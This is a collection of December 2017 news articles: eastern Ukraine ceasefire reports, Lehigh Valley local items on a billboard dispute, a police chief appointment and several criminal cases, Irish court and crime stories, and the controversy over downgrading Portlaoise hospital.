
"Russian-occupation forces and mercenaries, most of whom are asocial elements of different nationalities, do not spare the lives of Ukrainian citizens who continue to live in the occupied frontline settlements due to the desperate situation," the headquarters said.
Chief Monitor of the OSCE Special Monitoring Mission to Ukraine (SMM) Ertugrul Apakan has said that the security situation in eastern Ukraine is deteriorating, according to a posting on the official website of the OSCE.

"We note with concern a sharp deterioration in the security situation with ceasefire violations reaching levels not recorded since February this year," Apakan said on Tuesday.

According to the report, preliminary figures from the SMM showed almost 16,000 recorded ceasefire violations in the week from December 11 to December 17 - a 35% increase on the week before.

The figures, based on observations by SMM ground patrols and from static cameras and unmanned aerial vehicles, reflect a trend previously observed, in which a recommitment to the ceasefire by the sides was followed by a steady increase in the level of violence, culminating in fierce fighting resulting in casualties and disruption and destruction of critical civilian infrastructure, OSCE said.

"A return to normality, wherein civilians can once again resume their everyday lives without fear of shelling and landmines is the first step to a long-term sustainable peace," Apakan said.
Bethlehem Mayor Bob Donchez opposes a proposed 616-square-foot digital billboard alongside the Hill-to-Hill bridge.

Donchez wrote a letter this month to the Bethlehem Zoning Hearing Board outlining why he thinks the large billboard proposed by Adams Outdoor Advertising has no place at the western gateway to South Bethlehem.

"It is just the wrong location for a sign," the mayor said Monday.

Adams Outdoor already has a digital billboard on city property alongside the bridge's southbound lanes. The company is asking for multiple variances to erect another billboard at 213 Union Station Plaza.

City ordinance allows for a maximum billboard size of 100-square-feet. Billboards along Airport Road, Route 22 and Interstate 78 can be larger.

The mayor notes in his letter that the area abuts three National Register historic districts.

"Bethlehem is very proud of its heritage and historic preservation efforts," the letter states. "A large digital billboard at this location would have a detrimental effect to the historic character of this area."

The area has seen private investment through the restoration of the Sayre Mansion and the Chabad building and two forthcoming projects -- the Gateway office building and redevelopment of the Wilbur Mansion -- sit within Bethlehem's City Revitalization and Improvement Zone, Donchez said.

If Adams Outdoor's variance requests are denied, the company is challenging the validity of the city's 100-square-foot billboard size limit because it is "unreasonable and not substantially related to a legitimate purpose."

Adams Outdoor Lehigh Valley General Manager Tony Cioffi declined to comment on the mayor's letter Monday.

Donchez also said Monday that the Hill-to-Hill bridge may be reconstructed or completely replaced in 2024-25. No final decision has been made on the bridge design, but Donchez would like to see the lanes widened. Locating a new billboard in a potential expansion area is "premature and irresponsible," Donchez writes.

The existing billboard alongside the Hill-to-Hill bridge sits on city property and is subject to a 20-year-lease between the city and Adams Outdoor, according to The Morning Call.

The zoning hearing board is scheduled to review the application Jan. 24 after several postponements.

Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com. Follow her on Twitter @sarasatullo and Facebook. Find lehighvalleylive.com on Facebook.
Bethlehem's former police chief is coming back to the Christmas City with a badge.

Lehigh University announced Jason Schiffer, who served as the city's police from 2011 through 2013, will lead the university's police department starting next year.

Current Lehigh police Chief Ed Shupp, who joined the university's department in 1978, is retiring Jan. 2. Schiffer's official first day will be Jan. 2.

Since 2013, Schiffer has worked as a trial attorney with the firm of Cohen, Feeley, Altemose & Rambo, P.C., specializing in civil rights matters and representing injured clients.

Schiffer, who served as chief under then-Mayor John Callahan, was known for gaining accreditation of the city's police department and what was then the rare use of social media by a local police department.

In a news release on the announcement, Lehigh Vice President of Finance and Administration Pat Johnson said the school held a national search for a new police chief.

"Jason brings not only a deep understanding of demands of this job, but an expanded perspective based on his years with the Bethlehem Police Department and his training and experience as an attorney," she said.

Sarah Cassi may be reached at scassi@lehighvalleylive.com. Follow her on Twitter @SarahCassi. Find lehighvalleylive.com on Facebook.
Police say a wedding guest turned into a crime victim after being assaulted by the groom and three of his groomsmen outside the reception.

Lower Saucon Township police said the attack occurred the night of Nov. 11 at the Se-Wy-Co Fire Company banquet hall, 3621 Old Philadelphia Pike.

Township police were called at about 10:21 p.m. to the police department station for an assault report.

There they found Stephen Harris and his wife in the foyer, and Stephen Harris was suffering from "severe" injuries, including a swollen face, a cut to his lip and a bloody, large cut on his forehead, police said.

EMS were called and they took Harris to the St. Luke's University Hospital ER in Fountain Hill.

The Harris' told police they were both guests at a wedding that night, and attended a reception at the Se-Wy-Co hall. At about 6:38 p.m. there was a fight in the parking lot, when several males from the groom's party assaulted Harris, according to police.

Police filed charges against four people on Monday:

Zachariah Lee Simpson, 32, the groom, of Haryleysville, Pennsylvania

Addam Simpson, 35, of Lansford, Pennsylvania.

Dustin Morales, 26, of the 100 block of Cedar Road in Hellertown.

Daniel Fegley, 33, of the 6800 block of Lincoln Drive in Lower Macungie Township.

All four are wanted for aggravated assault and harassment. Asked about the weeks between the incident to when the charges were filed, Sgt. Thomas Barndt would only say it was an open investigation.

Sarah Cassi may be reached at scassi@lehighvalleylive.com. Follow her on Twitter @SarahCassi. Find lehighvalleylive.com on Facebook.
A retired Chinese engineer was sent to prison Monday for four to 15 years for downloading child pornography even though he steadfastly maintains his innocence and brought dozens of supporters to court Monday.

Weiwu Zhao, 76, of Easton, was convicted at trial earlier this year of downloading 14 videos of child pornography in 2014.

Zhao and his supporters told Northampton County Judge Jennifer Sletvold that he didn't understand the case against him because he doesn't speak English, that he was framed and that he needed more time to prepare before he was sentenced.

He went through three lawyers before deciding to represent himself at trial, claiming the three previous attorneys pressured him to take a plea deal.

Prior to the hearing, his daughter handed out leaflets at the Northampton County Courthouse urging bystanders to support an "innocent senior." She brought about 30 supporters, including Bethlehem NAACP Chapter President Esther Lee.

Lee said she has seen young black men wrongly convicted of crimes due to their difficulties with language and felt the judge should postpone the sentencing to allow Zhao's new attorney, Sandra Thompson, to familiarize herself with the case.

Sletvold, however, debunked each of Zhao's arguments. She said Zhao has been provided a Chinese interpreter for all of his legal proceedings. She said at least one of the downloaded videos was labeled in Chinese. State police experts said the videos couldn't have wound up on Zhao's computer by accident as he claimed, the judge said.

"You are not innocent and you are not a victim," the judge told Zhao.

Rather than admit to his conduct, he forced jurors to watch video after video of men molesting girls to form the basis of his conviction, Sletvold said. Those images will never leave the jurors, the judge said.

"Those videos are vile. They are haunting," she said.

Witness after witness described Zhao as a kind, gentle grandfather.

"He was handed a raw deal," said James Kain, his Easton neighbor.

"I want to tell everybody here my father is a good man," said his daughter, Qing Zhao.

Sletvold called Zhao a difficult man who refused to follow directions that didn't suit him. He was ordered to stay away from children while on bail, for instance, but brought one with him among his supporters during his trial, the judge said.

"He has no remorse for the crime or his victims," said Assistant District Attorney Laura Majewski. "He has blamed the cable company. He has blamed investigators. He has blamed my office. He has blamed everyone else but himself."

Zhao was convicted of two counts of sexual abuse of children and single counts of criminal use of a communication facility and receiving obscene materials.

He must report his address to authorities for 25 years after he is paroled under Pennsylvania's version of Megan's Law. That likely won't be an issue, though, since he is subject to deportation to China when he is paroled.

Rudy Miller may be reached at rmiller@lehighvalleylive.com. Follow him on Twitter @RudyMillerLV. Find Easton area news on Facebook.
The Republican tax reform bill facing House and Senate approval today went through last-minute changes to satisfy a reluctant senator or two, but the heart of the plan is still intact.

While President Donald Trump has hailed it as a "giant" middle class tax cut, the lion's share of savings will go to corporations and wealthy individuals. Individuals and married couples will see their standard deductions doubled; some taxpayers who are no longer able to claim certain expenses could see their tax liability go up.

The top individual rate will go from 39.6 percent to 37 percent. The child credit was sweetened to satisfy objections by Sen. Marco Rubio. Also, the write-off for local property taxes, which will be capped at $10,000, will now allow local income and sales taxes in the mix. Student loan interest, charitable contributions and mortgage interest will still be deductible, with some changes, for those who itemize. The estate tax deduction will double, protecting assets of up to $11 million.

The corporate tax rate will go from 35 to 21 percent -- one of the keys of the Republican vision to increase economic growth, along with beneficial changes in pass-through deductions for businesses.

The new tax rates for individuals will revert to their former levels in 2025, unless Congress acts to renew of change them. The concern there is continued padding of the federal debt. The Congressional Budget Office, in its review of the Senate tax bill, predicted it would increase the deficit by $1.4 trillion by 2027.

This is first major rewriting of federal tax laws in 31 years. The 500-page conference bill is complicated. Whether you gain or lose depends on your filing status, where you live, how much you rely on specific deductions that have changed, whether you will itemize, etc.

What do you think? Will this tax bill be a helping hand for most Americans? Will corporate cuts spur the economy? Will it pile the debt burden even higher for future generations? Have a say in our informal poll, and feel free to join the conversation in the comment section.
The Slate Belt YMCA has grant funding in place to build a pool and gymnasium, according to a news release.

The release issued Tuesday by the YMCA says a 20-year commitment of $250,000 annually from casino revenue will cover the cost.

"This is an exciting moment for our community," said Greater Valley YMCA President/CEO David Fagerstrom. He hopes to break ground on the pool and gym in the summer of 2018, or the fall at the latest. He anticipates construction will take eight months to a year to complete.

He said the indoor pool will be available to the Bangor and Pen Argyl area high school swim teams.

"The funding is generated solely by the Mount Airy Casino in Mount Pocono, so no taxpayer dollars are directly used in supporting these grants," said Republican state Rep. Marcia Hahn in the release.

The Slate Belt YMCA opened Jan. 5, 2015 at 315 Pennsylvania Ave. in Pen Argyl.

Hahn's predecessor as state representative, Craig Dally, said his father talked about opening a gym and pool back in the 1970s. At that time John Dally was mayor of Pen Argyl.

"It took a while and a great deal of persistence, but I'm glad to see this project come to fruition as the premier community resource in the entire Slate Belt," Hahn said.

Rudy Miller may be reached at rmiller@lehighvalleylive.com. Follow him on Twitter @RudyMillerLV. Find Easton area news on Facebook.
A wanted man who told officers he was a "sovereign citizen" and gave them three fake names is facing more serious charges for pushing an officer, Bushkill Township police said.

Shane Grant, 43, was arrested early Tuesday morning and charged with aggravated assault, resisting arrest, proving false identification, disorderly conduct, possession of marijuana and public drunkenness.

Grant, of Henderson, North Carolina, was sent to Northampton County Prison in lieu of $35,000 bail.

Police allege Grant was driving drunk when an officer spotted a car traveling erratically on West Morrestown Road. A minor in the car told police Grant was driving and, when he spotted an officer following him, he quickly pulled over on a side street and switched seats with a passenger, according to police.

When the officer stopped the car, Angela Best was driving, Grant was in the passenger seat, and the minor was in the backseat, police said.

Grant initially refused to give his name and claimed he was a 'sovereign citizen,' police said. Sovereign citizens believe government statues and laws, including paying taxes, do not apply to them.

Grant reportedly told police the license plate on the car was from his pickup truck, and they had just purchased the car in New Jersey. The plate belonged to a truck registered to Grant's late stepfather, police said.

Police said the car could not be driven without current insurance or registration, and that the vehicle would be towed.

Grant then allegedly gave officers a fake name. Officers learned his first name was Shane, and Grant reportedly gave them two different last names before confirming his real, full name when Corporal David Marino told him he was under arrest.

Grant confessed to driving when the officer spotted him, but that he wanted to switch seats because he had been drinking, according to police. As Marino took Grant out of the car, Grant stood up, pushed Marino and took off, police said.

Grant fell, and was seen trying to take out a baggie of marijuana, police said. After he was handcuffed, police said they learned Grant has warrants in North Carolina and California.

Sarah Cassi may be reached at scassi@lehighvalleylive.com. Follow her on Twitter @SarahCassi. Find lehighvalleylive.com on Facebook.
ArtsQuest in Bethlehem unveiled Tuesday the fourth annual crop of original works of art to be made into billboards along area highways.

For the first time, the Adams Outdoor Advertising ArtPop displays are expanding from the Lehigh Valley into Warren County, according to ArtsQuest, the nonprofit parent of the program.

"Quilting, painting, ceramics and so much more: the class of 2018 ArtPop Lehigh Valley artists will truly make area residents' commute so much more enjoyable," ArtPop founder Wendy Hickey says in a news release from ArtsQuest. "We are proud and grateful to be back in the Lehigh Valley and surrounding counties for the fourth year in a row."

Eight area artists' works were selected from a record number of nearly 200 submissions. The official jurying panel selected the works of seven artists ages 18 or older to be featured on the billboards.

The eighth winner, Cecelia Grant, of Kutztown, was chosen as the "People's Choice Winner" through a public vote that ended Dec. 13. More than 4,100 people voted in the competition this year.

The works are slated for display from Jan. 8 through December 2018 on Adams Outdoor Advertising billboards along major thoroughfares, according to ArtsQuest.

"We are overwhelmed with the incredible number of local artists who submitted their artwork this year," Adams Outdoor Advertising General Manager Tony Cioffi says in the release. "The 190 entries are a new record and all of the submissions were outstanding. It was extremely hard work for our judges to select only a handful of winners."

The ArtPop 2018 winners are:

Cecily Mowad, of Easton, for "Metal Head," oil on wood.

James O'Connor, of Bethlehem, for "Phosphenes," digital collage.

Deborah Slahta, of Bethlehem, for "Raku Tea Bowl," ceramics, raku-fired.

Ashley Dorney, of Quakertown, for "The Dead Waltz," black prismacolor pencil on wood panel.

Alison Bessesdotter, of Macungie, for "Stratum 22," quilt.

Ryen Valentin, of Allentown, for "HARAJUKU DAYLIGHT," 3D CGI/digital. This is the one to be displayed in Warren County.

Kathryn Dawe, of Nazareth Area High School, winner of the High School Competition for "Emerging From The Deep," acrylic paint. She will also be awarded a $1,000 scholarship to a Kutztown University art program by the Kutztown University Foundation.

Cecelia Grant, of Kutztown, People's Choice Winner, for "Mint Humor," acrylic on canvas.

Hickey started ArtPop in Charlotte, North Carolina. The national arts initiative aims to highlight local artists and the roles they play in the community by showcasing their work on outdoor advertising space, according to ArtsQuest.

The Lehigh Valley's ArtPop program is a partnership between Adams Outdoor Advertising of the Lehigh Valley, the national ArtPop Street Gallery, ArtsQuest and Kutztown University.

Members of the ArtPop jurying panel were:

Stacie Brennan, senior director of visual arts, ArtsQuest.

Danielle Smith, graphic designer, Adams Outdoor Advertising.

Wendy Hickey, executive director, ArtPop Street Gallery.

William Childs, community leader.

Barbara Fraust, public arts chairwoman, Bethlehem Fine Arts Commission.

Ann Marie Hayes-Hawkinson, first lady of Kutztown University.

David Mickenberg, president and CEO, Allentown Art Museum.

Olaf Starorypinski, photographer and 2015 ArtPop winner.

"We were so impressed by the quality and diversity of the submissions," Brennan says in the release. "The artist billboards will not only provide an opportunity to celebrate the diverse array of mediums and talent that make up the artist community in the Lehigh Valley, but they will also help to bring beauty in unexpected places for commuters. We are thankful to our partners at Adams, ArtPop and Kutztown for making this program possible."

Kurt Bresswein may be reached at kbresswein@lehighvalleylive.com. Follow him on Twitter @KurtBresswein. Find lehighvalleylive.com on Facebook.
Court allows questioning of two citizens of Georgia as witnesses of Feb 2014 Maidan shooting in Kyiv

Sviatoshynsky district court of Kyiv has satisfied a petition of defending lawyers of former Berkut officers accused of massacre occurred downtown Kyiv on February 20, 2014 regarding the questioning of two citizens of Georgia who could be witnesses of how unknown snipers shot participants of Revolution of Dignity and law enforcers. The Prosecutor General's Office of Ukraine gave its consent to the questioning of these two people.

"We can provide a possibility of implementing the right of defending lawyers to interrogate witnesses. The side of the representatives of the victims has the right to speak... These persons were not questioned during the pretrial investigation. It is necessary to establish what circumstances they can report," Prosecutor of General Prosecutor's Office Yanis Symonov said on 112 Ukraine TV channel during a break in the hearing.

According to him, the prosecutors gave their consent to question these persons as witnesses through international legal assistance.

"We believe that they can shed light on the circumstances of what happened on February 20. We will not object [the interrogation]," the prosecutor said.

Symonov also said that the Prosecutor General's Office of Ukraine sent an international legal request to Georgia to get an opportunity to question these citizens as witnesses.

According to the media, this concerns the questioning of citizens of Georgia Koba Nergadze and Alexander Revazishvili in a videoconference mode from Armenia. They allegedly saw shooters on the buildings of the Ukraina Hotel and the Conservatory on Independence Square in February 2014, targeting both law enforcers and protesters.

Earlier, a documentary was shown on one of Italian TV channels, in which three Georgian citizens told that they were recruited in 2013 and shot both law enforcers and members of the Revolution of Dignity during the events on the Maidan in 2014.
Laois Offaly gardai are once again hunting a gang of three men after a terrifying attack on a pensioner in his home on Monday night, December 18.

The gang of masked men broke into the house in the Kildangan area of Durrow on the outskirts of Tullamore at around 8pm on Monday night, and demanded money from the man, who is aged in his 70s.

It's understood the man is a retired farmer.

He was beaten by the group with what is believed to be a stick and threatened repeatedly with a knife during the ordeal before they made their getaway. The knife was held to his throat at one point, according to Gardai.

The man was taken to hospital by ambulance where he is being treated for minor injuries and shock.

The attack comes just months after another farmer, 54-year-old Richie McKelvey was attacked by a gang in his home near Birr, an attack which sparked a furious local backlash, resulting in the establishment of a Garda Tak Force to tackle such gangs of roving criminals.

It's unclear as yet what was taken during this latest aggravated burglary. All three men are described as being 56 in height, in their 20s and spoke with a local accent.

Gardai are appealing for witnesses who might have been in the area or travelling on the main Tullamore to Clara Road between 7.30pm and 8.30pm to contact Tullamore Garda station on 057 9327600 or the Garda Confidential line on 1800 666111
Dublin criminal Brian Rattigan has been given a date in June to appeal his conviction for directing the supply of drugs from Portlaoise Prison.

Rattigan (38), formerly of Cooley Road, in Drimnagh, had pleaded not (not) guilty at the non-jury Special Criminal Court to possession of heroin and two counts of possession of the drug for sale or supply on Hughes Road South, Walkinstown, Dublin 12 on May 21st, 2008.

The three-judge Special Criminal Court agreed with the prosecution case that Rattigan was the director of a drugs gang conducting a 1 million euro heroin deal. He became the first drug dealer to be found guilty of charges connected to directing the supply of drugs while in prison.

During the trial he was cleared of two counts relating to the possession of two mobile phones at Cell 42, E1 Landing, Portlaoise Prison while an inmate at the prison on May 22nd, 2008, which he had also denied.

Sentencing Rattigan to 17 years in prison, Mr Justice Paul Butler, presiding, said the Special Criminal Court had regard to the very frightening evidence of drugs expert Detective Sergeant Brian Roberts, who told the court of the effect heroin had on society as well as the alarming 3,972 drug-related deaths in Ireland between 2004 and 2010.

The sentence, imposed on March 20, 2013 and backdated to June 2008, was directed to run in tandem with a life sentence he was then serving for the murder of 21-year-old Declan Gavin.

Rattigan had been found guilty by a jury in December 2009 of stabbing Mr Gavin to death outside an Abrakebabra fast-food restaurant in Crumlin on August 25th, 2001.

However, earlier this month the Supreme Court quashed Rattigan's conviction for the murder of Mr Gavin over closing remarks made by the trial judge to the jury which, a majority of the Supreme Court found, had gone further than was desirable.

In the Court of Appeal today, Tuesday December 19, Mr Justice John Edwards fixed June 5 next as the date for the hearing of Rattigan's appeal against conviction for drugs offences. It is an appeal against conviction only.

Counsel for Rattigan, Brendan Grehan SC, said the case would finish in under a day.

Rattigan was not in court for the procedural matter.

The 2013 Special Criminal Court trial of Rattigan heard that Gardai who raided the house on Hughes Road South discovered five kilos of heroin valued at over 1 million and a red and white Nokia phone in a shed at the back of the property, while a search of a bedroom inside the house yielded just over 36,000 in cash.

Detective Sergeant Brian Roberts gave evidence that a text message found on the Nokia phone, which spoke of half bars, boxes and 9 being allocated to names such as Gangko McGyver Peck and Crazy, referred to the division of drugs by weight.

The court heard that the sender of the text message was a phone number belonging to a SIM card that was thrown out of Brian Rattigans prison cell, while there was expert evidence of the distribution weights and street names associated with heroin, including slang such as dark, nasty and the bad thing.

A text message sent from one of Rattigans phones to another phone found on a man arrested at the house on Hughes Road read: That dark is there rm, while a text message sent to one of Brian Rattigans phones asked: Can you give me half a box of the bad thing for 13 I am waiting on a few bob I could sort you out.

There was evidence that a detailed diary replete with entries on a fitness regime, betting activities and a drugs tick list, was also found in Rattigans prison cell.

In March 2011 the Director of Public Prosecutions ordered that Rattigan's trial should be moved from the Circuit Criminal Court to the Special Criminal Court (SCC), which normally deals with terrorist offences, because the ordinary courts are "inadequate" to try the case.

The Special Criminal Court was told that the President of the High Court, Mr Justice Nicholas Kearns, made an order that Rattigan should be tried at the non-jury SCC following an application by the Director of Public Prosecutions under the Offences Against the State Act.
A 26-year-old Laois man has received prison sentences of five years and two years for two separate counts of robbery, one which involved forcing his way into the home of a 68-year-old man in Mountrath armed with a knife, and one which involved threatening a fast food delivery man with a weapon.

This court has to send out a clear message that people like the accused who engage in this type of offending can expect a harsh sentence, not so much to punish the accused but to deter others from engaging in such activity, said Judge Keenan Johnson, in the sentencing of Stephen Brophy (26), with addresses in Laois.

Unfortunately the problem of aggravated burglary has become far too revalent in County Laois and it is a source of much disquiet amongst the general populace, said the judge.

At the recent sitting of Portlaoise Circuit Court, Judge Johnson said the most serious charge was the aggravated burglary, on November 29, 2016, of the 68-year-old man at his home at New Road, Mountrath.

Brophy forced his way into the house, with a torch in his left hand and a knife in his right hand, and knocked the injured party to the ground. He held the knife to the injured partys throat and demanded money. The injured party was so traumatised he soiled himself, the court heard.

Since the attack the injured party feels scared and doesnt go out at all. He is scared all the time and blames himself for answering the door on the night.

It is a terrible thing to see a victim apportioning some blame to himself for what happened. It is abundantly clear that he was the innocent victim of the accuseds offending and should under no circumstances attach any blame to himself for what happened, said Judge Johnson.

He went on to say: Its an appalling state of affairs that somebody as vulnerable as the injured party should be subjected to such a frightening attack within his own home.

Brophy was also sentenced for the robbery of a fast food delivery man on November 28, 2016. The delivery man was approached by two males, one of whom was the accused who had either an iron bar or a knife in his hand. The delivery man was threatened to hand over money, but he refused so the accused grabbed the money and fled the scene.

For the offence against the 68-year-old, Brophy was sentenced to five years, with the final year suspended for five years on condition the accused enter into a peace bond of 500, and remain under probation supervision for 12 months post release.

For the robbery of the delivery man, he was sentenced to two years to run concurrent. There were additional theft and burglary matters which were taken into consideration.
Drainage works need to be carried out in three Laois rivers due to recent flooding according to Cllr Seamus McDonald.

Cllr McDonald put forward a notice of motion at the recent Borris-in-Ossory/Mountmellick Municipal District meeting on December 14.

He asked that drainage work be carried out on the River Barrow, Owenass and Clodiagh in Laois.

In response to Cllr Seamus McDonald, Laois County Council said it will work with all stakeholders concerned with a view to carrying out river maintenance works within the resources available to the Authority.

Laois County Council said that the stakeholders involved include the National Parks and Wildlife Service, the Office of Public Works and private landowners.

Cllr McDonald said that any groups, including wildlife groups who prevent the drainage of rivers should be abolished.

They are obstructing drainage of these rivers. They would want to be abolished, have a good chat with them.

Mountmellick has been washed away and destroyed, he said.

Cllr David Goodwin said that people need to be taken more seriously than fish.

It is all back to cleaning those bridges from here to Tramore, but we need to do what we can in Laois. We need to take people more seriously than fish, Cllr Goodwin said.

Cllr James Kelly agreed I would like to put people before fish at all times.

Cllr Seamus McDonald said that common sense must be used.

The National Parks and Wildlife Service works to secure the conservation of a representative range of ecosystems to maintain and enhance populations of flora and fauna in Ireland.

Read more: Flood defence measures identified in Laois towns in wake of recent flooding.

Mountmellick flood victim says insurers made her feel 'like a criminal'.
Anti-downgrade campaigners in Laois have rejected a HSE hospital management claim that a strategy for Portlaoise and other hospitals is not related to a plan to strip services away.

The Dublin Midland Hospital Group (DMHG) intend launching its Strategy Plan for hospitals in Dublin and the midlands (2018-2023) at Trinity College Dublin's Bio-medical Sciences Institute this Thursday.

In a statement, the DMHG stated that the launch and the Strategic Plan does not relate to the proposed Portlaoise Hospital Action Plan which outlines extensive downgrade.

Neither document has the green light from the Minister for Health who, under the law, must sanction any downgrade before the HSE can proceed.

The Portlaoise Hospital Action Committee argue that the leaked strategic plan clearly outlines on page forty that the Emergency Department would be downgraded. It states: we will develop a 24 7 general practitioner referred medical assessment unit and a 12-7 local injuries unit in the Midland Regional Hospital Portlaoise.

Committee Chair, Thomas Timmons could not comprehend the DMHG's stance.

I cannot fathom how they can claim that this does not relate to Portlaoise Hospital when it is there in black and white!

Committee secretary, John Hanniffy said no document should be published.

"Any launch of any document, be it strategy or report is wholly inappropriate until such time as Minister Simon Harris has provided the promised clarity on the future of Portlaoise Hospital

Committee PRO, Eimear Holland maintained publication of the strategy would be the start of something worse.

This launch is the thin end of the wedge. Until we are informed that the launch has been cancelled, we fully intend to protest at Trinity Bio-medical Sciences Institute on Thursday, she said.

The Minister declined to comment but the DMHG said he would not be at the launch.
People are being 'mislead' by the HSE's hospital management that a strategy for Portlaoise and six other hospitals does not include the downgrade of Portlaoise hospital, a Laois TD has claimed.

The reply from Dr Susan OReillys office yesterday that the Strategy plan being launched on Thursday, December 21 is not related to the proposed action plan for Portlaoise is misleading and only adds to the confusion according to Brian Stanley.

The Sinn Fein TD said she is correct in saying its the Dublin Midlands Hospital Group (DMHG) Plan, 2018-2023, and it's for the seven hospitals in the group laying out a blueprint for them.

"The facts are this plan was leaked to me two month ago and sets out clearly it covers the sven Hospitals in the Group (DMHG) including Portlaoise. I also received a copy of a letter sent with it inviting HSE managers to formally sign off on this Final Draft of Strategic Plan for the Dublin Midlands Hospital Group 2018-2023 on the 25th October in Bridgewater House, Conynham Road, Dublin. My information is this happened.

"Its misleading for Dr OReilly to say it is not related to Portlaoise as it is central to the DMHG Plan and there are numerous references to Portlaoise in it.

Dep Stanley said that on page 40 it sets out clearly what is planned for Portlaoise - a General Practitioner referred medical assessment unit and a 12/7 local injury Unit. It adds We will expand emergency department capacity, principally in Tallaght and at the Midlands Regional Hospital Tullamore.

"This overall Plan for the DMHG could not be clearer," he said.

The TD said he gave a copy of it to the Hospital Action Committee and local medics.

"We are well aware there is a plan dealing specifically with Portlaoise on the Ministers desk for over a year and he informed myself and the 2 other Laois TDs last week that he has made no decision on it.

"On the one hand there cannot be a plan signed off on and launched next Thursday, that sets out in black and white the downgrade of Portlaoise, and on the other hand this statement from Dr. OReilly which says its not related to Portlaoise. Either all references to Portlaoise Hospital have been removed or we are being deliberately misled, he said.

ANTI-DOWNGRADE CAMPAIGN TO BRING DUBLIN TO STANDSTILL
The launch of an strategy plan for hospital service in Dublin and the Midlands is understood to have been cancelled after the Portlaoise Hospital Action Committee threatened to protest at the meeting.

Laois TD and Minister for Justice Charlie Flanagan confirmed to the Leinster Express that the launch, scheduled for Trinity College Dublin for this Thursday, December 21, has been called off.

The Dublin Midlands Hospital Group wanted to launch the strategy which outlined in summary the downgrade of the A&E at the Midlands Regional Hospital Portlaoise.

The proposed launch drew an angry response from politicians and campaigners in Laois. Minister Flanagan described the move as 'disgraceful', while the Portlaoise Hospital Action Committee threatened to 'bring Dublin to a standstill' if the launch went ahead.

Dep Brian Stanley revealed that the DMHG had invited senior hospital management to launch on the same day as the Minister for Health Simon Harris held face to face talks with himself, Minister Flanagan and Laois TD Sean Fleming last week. He welcomed the cancellation.

"This is the correct decision and the launch should never have been arranged while a final decision on Portlaoise Hospital is still pending from Health Minister Simon Harris. The spotlight now turns again on Minister Harris and he should now scrap the flawed plan without further delay," he said.

The DMHG claimed that there was no relation between a 160 page Development of an Action Plan for a New Model of Clinical Service Delivery in the Dublin Midlands Hospital Group and the 'Dublin Midlands Hospital Group Strategic Plan 2018-2023'.

DMHG chief executive Dr Susan O'Reilly issued the invitations to the launch. She is the lead author of both plans.

The action plan for Portlaoise includes extensive downgrade with maternity, paediatrics, A&E, ICU and most surgery all removed in a major reconfiguration process.

The group was not available for comment on the cancellation.

Under health law, the Minister for Health decides on any major policy change for hospital and health services. The DMHG and the Minister for Health have said that Portlaoise's reconfiguration is represents such a change.
High profile Tipperary TD and Labour spokesperson on Health, Alan Kelly, has said any downgrading of Portlaoise Hospital must be stopped.

Deputy Kelly said removal of A&E and other services is not acceptable from a number of perspectives. He called on the Minister for Health Simon Harris should make his intentions clear.

"Any downgrading of Portlaoise hospital is unacceptable both in the context of the Slaintecare Report and a growing population locally.

"There is a bed capacity review underway that needs to be completed and a central part of the Slaintecare Report is that the outputs of acute hospitals would be assessed in year three.

"Minister Harris should come clean on what the HSE is planning for Portlaoise as the 'Dublin Midlands Hospital Group Strategic Plan 2018-2023' is due to be published on Thursday which will make clear what the long term plans are.

Dep Kelly agreed that there are serious concerns locally that the A&E, ICU, maternity, paediatrics and most surgery will be removed from Portlaoise.

He said local Labour councillors Noel Touhy, Mark Wall and Aoife Breslin have all expressed their deep concerns to me on the impact the loss of those services would have.

The Nenagh-based TD said his party would oppose downgrade because of its impact on other hospitals.

"The Labour Party will oppose plans to downgrade the services provided at Portlaoise Hospital which will put further pressure on other acute hospitals in the region," he said.

The TD has seen firsthand the impact of downgrade at Nenagh Hospital. Clonmel and Limerick hospitals are regularly overwhelmed.

LAUNCH OF STRATEGY ABANDONED BY HSE HOSPITAL MANAGEMENT
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The Dublin Midlands Hospital Group is looking forward to launching its five-year strategic plan which includes removal of 24/7 Emergency Department services from Portlaoise hospital.

The group confirmed to the Leinster Express that the launch would not now take place in Trinity College Dublin this week. However, the DMHG insisted the plan would be launched.

"The Dublin Midlands Hospital Group has postponed the launch of its five-year strategic plan until the New Year.

"The high-level strategy for the seven hospitals within the Group sets out a blueprint for the development of services within the Group up to 2023.

"Its focus is on developing the Group and its hospitals further, with an emphasis on improving access for patients, and further collaboration with Community Health Organisations and the academic partner, Trinity College Dublin.

"The strategy is based on current Department of Health policies, HIQA Better Safer Healthcare Standards and HSE values and principles.

"The Group looks forward to publishing this strategy in the New Year," said the statement.

The HSE's hospital group did not say why the launch had been postponed. It also declined to say if the hospitals that make up the Group have adopted its contents.

The statement did not repeat the claim the at strategy was not connected to the action plan for the Midlands Regional Hospital Portlaoise.

Invitations were sent out to hospital management last Friday after the Minister for Health Simon Harris met Laois TDs, Minister Charlie Flanagan, Sean Fleming and Brian Stanley.

The Minister told the TDs that he had not yet signed of on downgrade. The DMHG submitted a 160 page plan last December which sets out the removal of maternity, paediatrics , A&E, ICU and most surgery from the Laois hospital.

The DMHG is responsible for Portlaoise, St James, Tallaght, Tullamore, Naas, The Coombe, and St Lukes hospitals.
Ukrainian Prime Minister Volodymyr Groysman has said that to rehabilitate the infrastructure in the rural areas of Vinnytsia region that destroyed as a result of explosions at the military munition depots in September of 2017 has been accomplished.

"The promise to rehabilitate the infrastructure in the rural areas of Vinnytsia region that destroyed as a result of explosions at the military munition depots in September of 2017, has been financed and fulfilled, and by the end of 2017 the residents will receive compensation for the purchase of building materials," the press service of the Cabinet of Ministers has reported, citing the prime minister.

According to the report, late September about 24,000 people had to be evacuated from only the village of Pavlivka, over 15,000 buildings and a local school were damaged.

The prime minister reminded that under the government's decision there had been allotted UAH 100 million for reconstruction activities in the region.

As reported, a fire broke out and ammunition started exploding at military posts in the Kalynivka district of Vinnytsia region on the evening of September 26. The explosions almost stopped on the morning of September 28, and demining over a five-kilometer zone began. The depot fire hurt two people. More than 30,000 locals were evacuated.

Investigators are working out four basic scenarios behind the fire at the ammunition depot near Kalynivka. In connection with the explosion of ammunition the Military Prosecutor's Office of the Central Region of Ukraine included information in the single register of pre-trial investigations under Article 113 of the Criminal Code of Ukraine (sabotage).
Intervention by Minister for Health Simon Harris forced the HSE to cancel the launch of a strategy that includes A&E downgrade at Portlaoise hospital group, according to hospital campaigners in Laois.

The Dublin Midlands Hospital Group (DMHG) Strategy Plan (2018-2023) launch was scheduled to take place at Trinity Bio-medical Sciences Institute this Thursday.

